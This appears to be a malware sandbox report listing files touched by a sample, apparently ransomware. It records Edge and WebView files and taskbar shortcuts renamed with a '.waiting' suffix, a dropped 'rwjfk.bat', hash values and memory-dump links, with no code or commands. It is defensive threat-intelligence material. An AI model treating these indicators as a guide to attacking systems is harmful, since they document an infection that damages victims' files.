MD5 edf6e2ad680c6d09cf5ccb23c6985859
SHA1 b3e90148dbf8c09a25db61d2c477fae1da7bbd91
SHA512 436e67ec134a13131f0b875112f28f67e66c17b06f602330b20c4b14e621dfafa4229865f56bc179e21a7ff4b6e9b43dcda560ea3fb314838969fb729773cf0d
TLSH
T1C8413BADB60E095AA7F08E65F341715F7988AD476122244F72B881BCB10033B533523F
MD5 SHA1 SHA512 TLSH

Submit Download

LogoBeta.png MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\LogoBeta.png MLLUKULZ5.waiting
Size 30KB
SHA256 5614f9a6011e4680529ca11a2dd2eb2343d7a028ee33c53d1c1b3a68051c3fe7
MD5 54e9e44021cf1a8b3f873bfc94f581de
SHA1 6adc82ee31093772f81044cb4b8a647e84ba63b2
SHA512 1bb470c6671d23c319c5347345f12e13721967f40bdee3b3c090bc4291f04c2cb0c2289d53c51aed21be000a48b7703b6c0ea537b973870cbcb2a51301a64005
SSDEEP 768:qawv/A4B4SaAMaPIDDoGSoH0Z/gMDkUPthVsOkaz:qawvI/SaRZex1zhVsOkaz
TLSH
T1A9E2F16DF7199D53FBFC59C4FD8413762C4158D429BB488CF44248879B0AF222B3B86A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SmallLogoBeta.png MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\SmallLogoBeta.png MLLUKULZ5.waiting
Size 16KB
SHA256 c1185ae181a55302372e9a09c180e44b25ef341aee44ffb3b7bced70a361d684
MD5 18cba52e3dbace875ab0e84acc10f7fb
SHA1 4048dec275dc117ef7bacd5e95b56cd7b351da6a
SHA512 4bd327432a3335f81c1aa2dc24cc0abf4932685109604dd4c03ddb5552048efd3eb9a1414502e37293b6639fe49085a644ff589846475fa306dc09b0dac5656c
SSDEEP 384:iawHXCQLL37XSodDQAoimHCEHO7EbnyeM3T3ekBAHBFkaz:5wyyLbSQh2HpNyjT7Wkaz
TLSH
T1B972D0D03208976761248D903322BAB3A3CC41EDABDDB0EEA655BA5C366396520FDD1D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ie_to_edge_bho_64.dll MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\BHO\ie_to_edge_bho_64.dll MLLUKULZ5.waiting
Size 568KB
SHA256 6fd77f43cb6d2384938de8509085b4b426f1bba78e551a9e234b969b8743206b
MD5 158d4cb4c537a38d406f9f3753e77299
SHA1 f09fc2dc131628f5ff21ea13dae46354e4048943
SHA512 58aba9b37f1b2460f4da48a578004c0e452fa21c9bd2d6a817db957b6d41585a2546bb193269b296db932d375142684ebe936339157b8576a22ae0571accc87e
SSDEEP 12288:lq0WsABQeG6H3w4M6egbE5NLMVVGLI0kwUJHOOsCRUKxguZWUwhYSA3KJcJOnU:lCsABQt6H3W6egb4BMVILI0ek6WUwhYx
TLSH
T12CC423AF2A9396B37CC52E830F1D6105AD467DE59E34A4647F342DCE30E24B631681AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

camera_mf_trace.wprp MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\edge_feedback\camera_mf_trace.wprp MLLUKULZ5.waiting
Size 25KB
SHA256 9c040c97aaf6c06b035ce6a2073b1bcaf17c801e9112525052d3433df001ff57
MD5 832c0587b394e70951e9d5c428c8dddb
SHA1 f04249672855f4b60c55ba4aea4ac16be06b78ca
SHA512 bced97f4f063341c23e3e868a1c44c567442129a300e7b5a067257c5ad58a10913f88d345b32d74b1bc7b236ad52a8107a2513a3ec3fef1bbe8afbb160173023
SSDEEP 384:SNYxZajuTWvGFiRlNs3CZm5gy/I2Y4rZ0oS//9OkNXw1qsI3tmFrazTlcPAcxTGu:uaieyNaCU/5rmospOW9f2PNkgkaz
TLSH
T1A0C2E1472EB45EB2A05CE4748BA13A1960F572122594BC1DF2B1B89AC704BF776D7D08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mf_trace.wprp MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\edge_feedback\mf_trace.wprp MLLUKULZ5.waiting
Size 13KB
SHA256 cda61906236ee311693630836336166bd153431b3624c6d7f087181b6f5b29ad
MD5 8324d6d5956b5ee5eaf0592df3cd160e
SHA1 f9fb7778ba4c4e8c714cdd2e58897b25751433af
SHA512 9050c2072d2c59f972217a43a4a5db3b0a1b48c1015b67f058ff84082f23728aac00737bbfb21fe2229f6ac689c6f6d34e4dc6fc8e2250403472fa6efbae4980
SSDEEP 384:1rxhciwNEK2U1cwI9Ek9S5HkqZqV8G3jIYRlHUAnt1miTN44em/6kaz:5xhZXWcwxPkqU8E3UAnt11e4emykaz
TLSH
T1B152D0E2A52A3076F8148F06F287A747D68306025754F96D9436C2BDAE3D303FB69F11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EmbeddedBrowserWebView.dll

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\EBWebView\x86\EmbeddedBrowserWebView.dll
Size 4.1MB
SHA256 106fc59dab7d5a9825c48310d0f46370dcc296c9a43e45f376c5b3823fa2eabe
MD5 865d818aa0b4dd16a522e1f68bc28d7a
SHA1 9582551ed39abf5769fd9907fe1d4c0179b3dc00
SHA512 aa2815447366f99796895732a0e832a1fab048b85f584dd0eed4c45a7fb8c61d6badc3685751d9ce9b3030c496343f40fa1b399819a6850c021b7d0b7bb011c4
SSDEEP 49152:gy9GzK1ikADzACAo2B971XTDcXZ2rEzeuxEXWyORvRfAuApy4LA7JixpeQIsjq/A:J4WJAPACGH5XTDcXsOyORvRDAU4M7D2n
TLSH
T18C169D03F851A031C68510B9ED2DE7295B242E994FF249EBBA943CD43FF52D1763628E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uk.pak MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\uk.pak MLLUKULZ5.waiting
Size 1.7MB
SHA256 7eb8d01a80ec7eb3caafd2e08da08fc0f0a631ff99fadedd6cb66ddaabbd4d3f
MD5 9af8e19e8d4b7ff8d02e525a565284bf
SHA1 a7bae98acd5b622178ba69f3f964617cc2e9cdba
SHA512 9d002fd0144e1dd4e94cdd8d1bd0ff6c8726fede97b76445c32927ec26f3ff37108b53b0081997483acedf5d9fadb29ec17a7ff002c67894f565d4a7f1556d21
SSDEEP 49152:nTFmhJxveklwaFBbOIjX7r56f7bZVM85uM:npmbok7FBbOMXM
TLSH
T1C285F6A59A9D58DF0205F15BE8487A0D3DAB41FE7BA7871225643DBF39F2024C63C329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ur.pak MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\Locales\ur.pak MLLUKULZ5.waiting
Size 1.5MB
SHA256 bbdf91266649c1aa101b2d7defc856ed81cda28c711938f030d507cca4ad7a4c
MD5 f52c9bde627b9703fb97bb156a152d8a
SHA1 09553af56867a5e8facffa8794af57352ce3f763
SHA512 969a1069dbd3ccd70136428085c20071c30aeec9c3004672496b61d8f6a8aa5637b2b0a80b512a34daee7877b367e5b0e7bdf2418c7bbf87be0bb8dc9123240a
SSDEEP 24576:OSGo9mAYmuAQdvcZXfZtVswvL61+7ZlFnvXOtHF3hdO:OSiAYmuNiZXfnL79v+13dO
TLSH
T1F6755BD2A6BC95B28A21D95780D37C34CB239F13D34AF346E56206C54EDA113AF6CD3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Edge.dat.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Edge.dat.DATA
Size 13KB
SHA256 de405bcd38b7360e3176002e95f7bde7ac4f7c3d841553197c44e6104dd89949
MD5 72442eb121f70365b3bcdf41060ab903
SHA1 1116cce639691cc26f0dde9843eab41f1a44ba2a
SHA512 9bf47add4aa9db08025791241ee27c6ba3863935f60b25906b00493b62568cae316cd6f9ac9494340979b212d2585b6ae8272b81703c01c76238dcd6212b0ad3
SSDEEP 384:NYAH/DBJo20sIXRROXBGennZuwDg4SVJddVy6OXkaz:KA77asIX8nnxZSVJfV/OXkaz
TLSH
T18E52BFE9949E206A27E1FDD763C266FE78C5331AC7A3CD557220B1B16009B2CC626D25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bs.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\bs.pak.DATA
Size 1.0MB
SHA256 17fe2406221f611dfdcd59e84a9202883b8039b82fe5e04b5cbfaa4484a1e768
MD5 630f12ba33dccd7e1b0b5cd39aaf6664
SHA1 8dc84c97593f0140300e5b5ef5e09dce9e96124f
SHA512 8cad5e6245889d419787735be697cb27d3e25f5734e8ea24c0475a02100b3c00d0af6b27d6968e607b96489edeef5f5b8df302280d7d3bf4381a6ee81cfe034c
SSDEEP 24576:uIaGuSpGkr1h2MDVY3PxooTbnlCLLGbSl0KwoQVDUQpv/9ATlwr+2qq:uIaiXbDm3PCoRCL6bFKwoSDdpH6RyJ
TLSH
T19035233BE7666E4E1FD72601EA62D2A09DAF890FCD418765BD0E272E406376C11FF081
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr.pak.DATA
Size 1.2MB
SHA256 8d127c1da1e35570fd6f062209ec8c674abab6ab349f98b1ec24e04cebacb2e6
MD5 4118dc8beee495fc8829329a8bf79204
SHA1 7871e1f03aef5586f8e80d8a81f8f8c2504dcc59
SHA512 c007fe5ea1711e84b84fd9df5374813ee51b06f5e831f2189be75af740a2d82543b4b8bbe09cebfb9d72d83ca05564c64e55ac18cc2cfb22a087efecbdeecd1d
SSDEEP 24576:g4PgtOnNnRYp/5USXADFGUdEFbyWJwygN00v+/ZsbQad:ghtONRo5UyKLEFuABgNbYZKFd
TLSH
T12245028FD6C552C659C21293BF02CAB3D938C61DE159C325DCAB56C1039B9ECE39B29C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sq.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sq.pak.DATA
Size 1.1MB
SHA256 8ae2c7bc6454b0136602845bfaf5e33aa7e6eb4dd72a0c0ddc3b379d7a4c8f25
MD5 bd45ad9a53914baed1c46cb5ca5866a1
SHA1 3012c169b64651375f03d7c29bc9eb54425789fe
SHA512 7dc51bd25b6135a1bbc829a66ea3ad342d1d46def918d82fa4f82b3b9f624d7cc7e245936646d6f77fcb99318a6e01642c32b3bc8a1d1ecf7a9cdc4cec767d08
SSDEEP 24576:B8jM4nDlfy/7G4tGkvmKpY3NOml6qSRBNj6eDgWA/4xhrsO:8Mel+7GCyN36Rj6eDfA/4xhrsO
TLSH
T10935232990BDD276C6731186A64109082FFC626F34DBED6E9CD2A72704B7BBD013CD5A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Fingerprinting.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Trust Protection Lists\Sigma\Fingerprinting.DATA
Size 1KB
SHA256 d80000633fdd461501b9af5739399a358b57b68cc1e784a9e65702aca7839494
MD5 b5df42c8524fde04cd432a9b712a7cc6
SHA1 9ecf2ce0c87b7666c317de21810f0eb70516fe76
SHA512 4a884c43062ecc30917c576d77663e9ece6379b9dfd93fb5c06315b73eb4bbc129341aca38b68f89d71ed95f45f130e57f0554039cd91a20f15d05076f8e2bcb
TLSH
T192315C5FB719441563F5DD72E3C640E567663751A393180A72F888ACD11A333A33833B
MD5 SHA1 SHA512 TLSH

Submit Download

identity_helper.Sparse.Canary.msix.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Canary.msix.DATA
Size 55KB
SHA256 e30c311a0c08fd9735ab86f0030b9682b9862638de21eca3c249b85c35e13594
MD5 decfb1cd47f0b0f94d3ec122a5c1dab4
SHA1 f6641b2056aa16d19b4fe296b618099b66aa9cfb
SHA512 2847a2a62607beff787feba9ca7feb24c2ed6077816a7c41b55f6ed019748e8c84980188d83112d22ea610935837d8076d996f833b9db63f78404307273a9c9f
SSDEEP 1536:rTsBsxBZCclNfQ/+SsyKuUJ/QhcaJpxRkaz:tBTEGSVUdQhcEpxaaz
TLSH
T1B64302C004FF8BE1278D0F977C86CCCAFDC6388490465E9BB459607E5A884D7EE76652
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

camera_mf_trace.wprp MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\edge_feedback\camera_mf_trace.wprp MLLUKULZ5.waiting
Size 25KB
SHA256 663d0a91e743d047cb333e890dea3fe908159a671c3cdd31b1e73156cd9e24b9
MD5 f5d945cfa310f78919eb10576c6001ed
SHA1 948d88f5ad5f5d6dc60e564a4921a6f45d91ed47
SHA512 4633089e08d4090dfcdc01d1b864c662e2a1d611b44d8f65c79e225cc33079832b5e1f7813e829a640f2331cb1cd6c01f7442121a70f1967392c357753de5470
SSDEEP 768:nqDiH3FE7a2te6i1x97gxs05N7U5lADHLbRo1XdjhDaukaz:qDa367a2tPFNqWDHLbRuXlkaz
TLSH
T111C2D09BA10480058AE5D9F35323D0A72F08736A33A58CC76D75926667142FA726CFAA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EdgeGameAssist.msix MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\edge_game_assist\EdgeGameAssist.msix MLLUKULZ5.waiting
Size 1012KB
SHA256 9a166f7b1ab4e0a5e3608b9885422b786fa709ece3c83259995fdbf26a7b079b
MD5 fbfc7ef178d897577059541b0b40d8e5
SHA1 6fd60fee6c531b4b25f6f955c3442be97e90000b
SHA512 7a3256b50485ab7d1c821da1903685d44f1724139bee8ad216d7b85229944c53794dfbb3012d494b1d2c0819df42925deb64f0bb4ac978a3e277dbae0e522f85
SSDEEP 24576:ENtI4DmL+4qH/uTpJrXGSVYHWzfPgH0hKeTp+kg:MBgqfuTpNXxVYH50oeU
TLSH
T1162533FC7DD1764EB70C5D125909F0B2520BC418B7A66E11A4BAC6B7CE4283EC16EF19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffmpeg.dll MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ffmpeg.dll MLLUKULZ5.waiting
Size 3.0MB
SHA256 f9ec2a10377f258b18f7acd2f842a949af0a157aaacebae9db9d0b4e09f1d5e3
MD5 f658dfea905c70f1579efd41c6b30722
SHA1 3d1bfc791aaaaed12ab329f859e6c04389861ead
SHA512 c055c2f2175c204eade1664049e65ff8dfa1b247b50d2f27b51e114a646b06291472ac1c09e93a8036111fa25c3b57da8859e766f96bb8b7069517443cbf2773
SSDEEP 49152:L1bDztvDH1MXUtj0OqykWWkdt6OGEQWVs3Wtl7b3ruM3Xh3vnKFK3xy/O:fCvJykWZdIOGEQWl3H3Xh3v4Sym
TLSH
T1D8E5D003F69944DED029C139979F9213FB7278858F2096EF13805A252EA7FD81B3E359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ad-selection-attestations.dat.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\AdSelectionAttestationsPreloaded\ad-selection-attestations.dat.DATA
Size 1KB
SHA256 1cb1868054eee40bb4cc63c49dd09d370a320c970feddba7bbc8ea4e76df6a48
MD5 9b7f9c2ef5dab3db77539f0ff9bc3cca
SHA1 858307a926af3966c436233efb4b4aa80dc2bd6d
SHA512 1d8277dfde9e7cf6fb893daa8a14aeec3e753807cda4770899fdb64e0f0e1b9e33019600f1176f13ed91cbb0f5d7d9b89a72705189c2587e73dbffde4f57a245
TLSH
T1A2310A1C7349010673E4CE98938661A76E457B5EB253350A637884FC920173B437463B
MD5 SHA1 SHA512 TLSH

Submit Download

bs.pak.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\bs.pak.DATA
Size 1.1MB
SHA256 8dd6f633a935429e73a5bbe91b07424c43b81af61c4340775fc5002f59052925
MD5 e4f43ceb0f4a1a9504e635596c3b33ab
SHA1 8025fc0798f9aa0235805e95caef6e7d46080fc7
SHA512 3ed842796131d3a2dcaeedb5eaf75c6a650eb822a55ce0291728b133e1a4443bf67e75c9c712dad3301cf0bdb84d39d2d17438ef71a2224ebd4088d74d9374a4
SSDEEP 24576:tzUiO4yLCOh79Cit7Ez3U5A0eF1CvFgAep9B:FUTLCOh79UoZe/wF4
TLSH
T1B03523AFBE33A20911917347DFB483612D9D8A9DDAF4ABB5794F814E0203C8E11FD994
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fr.pak.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\fr.pak.DATA
Size 1.2MB
SHA256 181febe2d5ac25847df05b95c6f41e07e20146a1c13a51315f48e71e541b2a9f
MD5 f2b2df50a2afd40627fe7b8c86210540
SHA1 a45982534a5ee6df185c5643597abae3bb0c7301
SHA512 04100c73aba8653b36147cad528108b5dfa7d0b8721f75bbe41b0d45caeb549acdc308c0274cda10e9cce7ccf6424d1a76f0eb05e639b1930fc4e5fcc6ec8a81
SSDEEP 24576:/U0066BwoAmXsO5IV2Qbe7Glg+BhKnCxN+gkSvmDOrhnfxF:cmyAmX/+be7GRBYK852pF
TLSH
T1AB45018FD5C422D655C21252BB02CAB39D38C6ACE159D765DC6F9281039BCECD3AB2DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr-Latn-RS.pak.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Locales\sr-Latn-RS.pak.DATA
Size 1.1MB
SHA256 f02d02e2a3901a394b3fc61b4c45863d878bf607b5f71bf5e8eeeb423cd5e5fe
MD5 435415bfee8129cf535b58e2546c6af6
SHA1 3a9424989457afca45bcec09cd4d2ac5cc822779
SHA512 31adc6a48e2b203a137f96a1f6c212de98e534ef832ecf87a26476304f5af8dda78b2da86dadbccd1d3a886827fd9ee37da4abdd87351bb4ccc31eb03e8e584f
SSDEEP 24576:m2RvRI1ZVYaO/h9WP3XwjDE6ncXkOUi/vXiTMwYYz8eFE79pM8:xTI1vTO4Hwvn7OUi/fGM2z8eFEZpN
TLSH
T1423523A9FF47224E0D932187AF1589616EBE895DC975C9B3B4CF031D0287A5C4EFE608
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Entities.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Mu\Entities.DATA
Size 70KB
SHA256 d84dace2c7d1238aefef3f6ce08d4aae396a0fa5c07130c69b72e33e23fed033
MD5 ecbbb993ce7cacccb83c9f09f9793da1
SHA1 7686b31d354e082589c4659d1159b5a61fe247fb
SHA512 5738695af5ab167f6587dacd149d59871447e6054bfb887167cb022e4da7e1bd9196e7e57a58b4142869431f46fe1fdc75302defb16599fa0dc26b0deecf7929
SSDEEP 1536:aL08T5iz9brD40M1Vup5yB4fwr1L62fAqEkbCx/otedf5aEBzkaz:aL08TMVYj1D4Yr1LxAqET6el5/Boaz
TLSH
T19E630264CFD6604B86D49CD07EAD9C1EBC4D9A392235135038D6EADAF038768CB72673
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Fingerprinting.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\Trust Protection Lists\Sigma\Fingerprinting.DATA
Size 1KB
SHA256 b050f4fa5d79fa2f122eac4c069bcf201874f41d2b98f093b8d54badad7070ea
MD5 e9dbfc2239259855d9c61b08a91eaa47
SHA1 580c101e0e6d2eb59e3be9eb0fff9e6fa6c28551
SHA512 8831b4aa02cf00d462564a684d990f86bb1c1bb9eff72c9a4fb43cc354d93c7eceb3f9b362c684f2ba852f8fc9ebeddfa116c0191e2201ceafb777c992cd0d23
TLSH
T16F313D987356041D27F08ECB63A215F67F827B5B72932C5772A8847CC0003235524F37
MD5 SHA1 SHA512 TLSH

Submit Download

LogoDev.png.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\VisualElements\LogoDev.png.DATA
Size 30KB
SHA256 da3476a1ec1a0801d1092c45cc69a2936b72a651360f75379de76f6c1a6bf831
MD5 c9367d02bbbd721279a4cd4f94582874
SHA1 d07bb4952044092bccad2fae5aff0d55a142cf09
SHA512 1cc87a61877c2b4f4016c4590e2a5d9391e330ebb3851a047bf2f190ded0d02672e718576ec275f6bdad1947e463f1a1a2ec793d53db302470affc2f4f5a4592
SSDEEP 768:Tg6UEstycL2eDIHrNlmA9haPDdWVdzZi5FxE16au7Tkaz:EBFL/IHriAiPpWL0nxEkrTkaz
TLSH
T122E2F26AA72DA171798C6E0A7040706CB0D0171B5E6BA7DB75777EFCAB6526ECB40001
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

identity_helper.Sparse.Canary.msix.DATA

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Canary.msix.DATA
Size 55KB
SHA256 46ec5ceb7da87bd06e5beb8f5e61e8dd060084c0968e3db535139b9d23ebc982
MD5 0d4837238a50487eda540ce3a49af069
SHA1 5033d640b90a475352f7575df087c57f060caefa
SHA512 9844aa72ec67dc66cbb30ff7f592e6a681aa2e4f8a842c4243dfd38761ad6274c5593fb944e02f23eac1e95cb4c3731e81d58d4b4edb2f8544732a1467d349a7
SSDEEP 1536:PL6wP08RmVCRmEJo8p+dknLsS7Kk+r/p1Uo/76Fkaz:dPbvJxEWnTB+rLUw7Baz
TLSH
T1964302C0965919A629FE7265AE04AE1FE0131E0E17B036DFF447373D9EF7262C662502
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxcompiler.dll MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\dxcompiler.dll MLLUKULZ5.waiting
Size 19.6MB
SHA256 9955fd1b84e5f4c1ed2184a0530fe0e18343ba1478391d09a9e3c2dec3d6cfab
MD5 a332f96d85f44a09b70c45f7be60e40a
SHA1 e14089476c9ae46e6f0063f2e7c75571f2bdd64f
SHA512 d29844b3bb1f003e7d72eed43a4f89b19bc4d2e00f53a0f8e8dd54e0712574c4cd2910d4f8cd8e9c48564da0b2f2aa0f74f13c2998948f3d7938e864fcf96f2b
SSDEEP 98304:A6pxHtu/Jyx8WvNbdpZcqKPK7wg9XsuERmNms5vxgVFonaJJ7wsBKpn21xYqpdoN:Aut+yTpKPZVdMMJAVrDdt0/xjK
TLSH
T194275B036586949DF04CC8B8C3678B56CA6834E72E7A75AFC0F812152F7BE785B2D235
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dxil.dll MLLUKULZ5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\dxil.dll MLLUKULZ5.waiting
Size 1.4MB
SHA256 1ecf4afae12191a843fed95828d25cd4c4d4da4aecae90455b03a2eb944cc8ee
MD5 10fb88f14c9f399279f97dccb3c26a21
SHA1 4b0425ad1b6afcebb1116b01531c8bb835c65c8d
SHA512 20a103744e6adb06672beb7c79e2109fc27820895ad80bba29de30b7642a7a7ec50b2d2f3c4eac6fd19d3923edd47643c1966b3abe705c900c9f7abb40d962d4
SSDEEP 24576:OUuIIpXVYwJsp99PGl+cL2wi6LN6VifrBE4jLTeKxPZj+v1acLUkJvS5Ka0:yBXVDW3Olc8feSPJyvS56
TLSH
T1B865F127778C0C61D4FA433CD9875E1921A6B09143E48BFB3685132C2D5BBED9F36AA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

File Explorer.lnk MLLUKULZ5.waiting

Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\File Explorer.lnk MLLUKULZ5.waiting
Size 1KB
SHA256 63d58d3938ebce136cf27346c2c2df144ce5833e15a2ea11c0f8f550842f6634
MD5 cf35eee5742d829156d0996ccacf7da3
SHA1 c1e70c407941dc4fe36110376e40b6d01c4e0d61
SHA512 25e9b7f54f0c7055a7bee6cdc7004cfede1a78c5472e037adbb7a027440a80e469aff400c423ae6638053ef5fc7ba1e79b3a298d376c9b84efebc51921342430
TLSH
T1AE413BAE9319200E73F05FA5A741B02A6FED76377192201BB671A8FCB1517270230A23
MD5 SHA1 SHA512 TLSH

Submit Download

Firefox.lnk MLLUKULZ5.waiting

Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Firefox.lnk MLLUKULZ5.waiting
Size 2KB
SHA256 abd1f4b1e5dae168af7cdb99497724f172192d70489d31d21584f1d219e3e874
MD5 9bcf7bea723ee2a0ce3ee202db9443ef
SHA1 5d3a4ec51cbeb3dd91e5d3397af2826cb19ac258
SHA512 e340437620295aae85b8ac4242bc0c9a531524778f974fac718c4791bb017d03313b884d7206bf367ebec658bc1a0691edb4d666e97666af45358eacd18e255d
TLSH
T15E514D1C832D5826D3E04E69E3406099375EBA2AE6B66455A85544FCE3053239331D39
MD5 SHA1 SHA512 TLSH

Submit Download

Google Chrome.lnk MLLUKULZ5.waiting

Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk MLLUKULZ5.waiting
Size 3KB
SHA256 667d5bc7022dfbf7076065252a02228eb4b19dda54c617650e5ba8b1581c7663
MD5 ae18d2a138b07a2d321ac574d64ecee7
SHA1 e52bc0be673219289bbfea615bcf432ff4719c7a
SHA512 51af69a13bb5c0b5f49eeaa84e4a108a96e9857a6e3851bd7bdc6d0cea707db7d3143dcd80a2e399782bcfb14c099ee8e1fdca88e67142796e6e320e64eb133b
TLSH
T12B714B29B268420273F05EF1C3D951584A9F7B8A0073F6176A5C90FED32271B137D976
MD5 SHA1 SHA512 TLSH

Submit Download

rwjfk.bat

Path C:\Windows\rwjfk.bat
Size 144B
SHA256 593d002c58bbcab7a6fee250b15b360552e360a08995e9057646493184f47b76
MD5 4e714e2aa7f0c6a762c4d9a5162e3173
SHA1 ed3b8509ff3f9e849f2c2450d14f09a33ea1785e
SHA512 d666e12c232626c6d7726529ee82f0413aa0e8f100f1d2b37a89f1e6f749fed505c82e66ff9b54ba4fc24df64f95c46c1e4714fa86682e173f3c60311d26492f
TLSH
T183C08C13085F2A96EE920C8B9CD25023B11BE2C9288110620004388AECDA59CCC9AE81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/792-2-0x000001C7053E0000-0x000001C7053E2000-memory.dmp

Download

memory/2832-5-0x0000000140000000-0x00000001402F7000-memory.dmp

Download

memory/2832-1-0x0000000140000000-0x00000001402F7000-memory.dmp

Download

memory/3232-15-0x0000000002840000-0x0000000002845000-memory.dmp

Download

memory/3232-3740-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3109-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-2944-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3753-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-2994-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3754-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3846-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3750-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3099-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3888-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3752-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3885-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3108-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3107-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3847-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download

memory/3232-3755-0x0000000007A80000-0x0000000007A90000-memory.dmp

Download